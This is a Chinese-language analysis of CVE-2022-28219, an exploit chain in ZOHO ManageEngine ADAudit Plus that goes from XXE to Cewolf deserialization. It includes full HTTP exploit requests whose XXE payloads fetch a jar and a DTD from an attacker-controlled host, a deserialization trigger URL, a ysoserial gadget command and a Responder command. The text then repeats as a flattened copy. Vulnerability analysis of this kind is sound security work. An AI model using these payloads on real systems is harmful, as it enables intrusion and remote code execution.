CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE
字数 1704 2025-08-27 12:33:48

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE漏洞分析与利用

漏洞概述

CVE-2022-28219是ZOHO ManageEngine ADAudit Plus中的一个严重漏洞,通过组合利用XXE(XML外部实体注入)和反序列化漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞由两个关键点串联而成:

  1. XXE漏洞:存在于ProcessTrackingListener#parseTaskContent
  2. 反序列化漏洞:存在于Cewolf组件的FileStorage#getChartImage

环境搭建

  1. 下载受影响版本的ADAudit Plus:

    https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe
    
  2. 搭建域环境:

    • 直接将安装ADAudit的机器提升为域控制器

漏洞分析

反序列化漏洞点

位于de.laures.cewolf.storage.FileStorage#getChartImage,这是一个已知的反序列化漏洞,最初由steventseeley发现并报告。

关键点

  • ADAudit仍然包含Cewolf servlet
  • init参数设置为FileStorage
  • 通过../跨目录访问可以触发

XXE漏洞点

位于com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent

触发条件

  • 通过eventTbl参数的Task ContentTask New Content键值传递恶意XML

路由触发点

  1. Web.xml中定义了/api/agent路由,对应ADAPAgentAPIServlet#processRequest
  2. 请求被转发到RestAPIHandler#executeAgentRequest
  3. 通过正则匹配找到对应的handler:AgentDataHandler#receiveData
  4. receiveData从body或header中获取JSON数据
  5. 有效的JSON数据会被EventDataAdapter#notify处理并加入消息队列
  6. 实际处理由EventDataAdapter.EventDispatcher#run完成

重要注意事项

  • 如果原始data中DomainName等于null,DomainDnsName也会等于null
  • 如果没有提供正确的域环境域名,漏洞将无法触发

漏洞利用步骤

1. 利用XXE上传文件

使用JDK 8u131之前的XXE trick上传文件:

POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json

[{
    "DomainName": "test.local",
    "EventCode": 4688,
    "EventType": 0,
    "TimeGenerated": 0,
    "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.16.1:2122/upload.jar!/file.txt\"> ]><foo>&ssrf;</foo>"
}]

文件将被上传到用户的临时目录,如:
C:/Users/Administrator/AppData/Local/Temp/

2. 利用XXE列举目录

POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[{
    "DomainName": "test.local",
    "EventCode": 4688,
    "EventType": 0,
    "TimeGenerated": 0,
    "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp/\"> <!ENTITY % dtd SYSTEM \"http://192.168.1.207:9090/data.dtd\"> %dtd;]><data>&send;</data>"
}]

3. 触发反序列化

访问上传的恶意文件触发反序列化:

http://172.16.16.132:8081/cewolf/a.png?img=Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp

Gadget建议
使用CommonsBeanutils192NOCC:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"

常见问题解决

  1. 如何获取DomainName

    • 目前没有完美的解决方案
    • 可以通过登录过程获取部分域名信息
  2. 如何确定用户临时目录路径

    • 先列举C:\Users\下所有用户
    • 然后列举各用户的temp目录
    • 或者使用Responder工具抓取当前用户名:
      sudo python3 Responder.py -I ens160
      

修复方案

ZOHO已发布修复措施:

  1. 注释了CewolfServlet
  2. 修复了XXE漏洞
  3. 增加了GUID校验

参考资源

  1. steventseeley关于Cewolf反序列化的原始报告:
    https://srcincite.io/advisories/src-2020-0011/

  2. JDK XXE Trick原始议题:
    https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

  3. 文件驻留服务器实现:
    https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE漏洞分析与利用 漏洞概述 CVE-2022-28219是ZOHO ManageEngine ADAudit Plus中的一个严重漏洞,通过组合利用XXE(XML外部实体注入)和反序列化漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞由两个关键点串联而成: XXE漏洞:存在于 ProcessTrackingListener#parseTaskContent 中 反序列化漏洞:存在于Cewolf组件的 FileStorage#getChartImage 中 环境搭建 下载受影响版本的ADAudit Plus: 搭建域环境: 直接将安装ADAudit的机器提升为域控制器 漏洞分析 反序列化漏洞点 位于 de.laures.cewolf.storage.FileStorage#getChartImage ,这是一个已知的反序列化漏洞,最初由steventseeley发现并报告。 关键点 : ADAudit仍然包含Cewolf servlet init参数设置为FileStorage 通过 ../ 跨目录访问可以触发 XXE漏洞点 位于 com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent 触发条件 : 通过 eventTbl 参数的 Task Content 或 Task New Content 键值传递恶意XML 路由触发点 Web.xml中定义了 /api/agent 路由,对应 ADAPAgentAPIServlet#processRequest 请求被转发到 RestAPIHandler#executeAgentRequest 通过正则匹配找到对应的handler: AgentDataHandler#receiveData receiveData 从body或header中获取JSON数据 有效的JSON数据会被 EventDataAdapter#notify 处理并加入消息队列 实际处理由 EventDataAdapter.EventDispatcher#run 完成 重要注意事项 : 如果原始data中 DomainName 等于null, DomainDnsName 也会等于null 如果没有提供正确的域环境域名,漏洞将无法触发 漏洞利用步骤 1. 利用XXE上传文件 使用JDK 8u131之前的XXE trick上传文件: 文件将被上传到用户的临时目录,如: C:/Users/Administrator/AppData/Local/Temp/ 2. 利用XXE列举目录 3. 触发反序列化 访问上传的恶意文件触发反序列化: Gadget建议 : 使用CommonsBeanutils192NOCC: 常见问题解决 如何获取DomainName : 目前没有完美的解决方案 可以通过登录过程获取部分域名信息 如何确定用户临时目录路径 : 先列举 C:\Users\ 下所有用户 然后列举各用户的temp目录 或者使用Responder工具抓取当前用户名: 修复方案 ZOHO已发布修复措施: 注释了CewolfServlet 修复了XXE漏洞 增加了GUID校验 参考资源 steventseeley关于Cewolf反序列化的原始报告: https://srcincite.io/advisories/src-2020-0011/ JDK XXE Trick原始议题: https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf 文件驻留服务器实现: https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java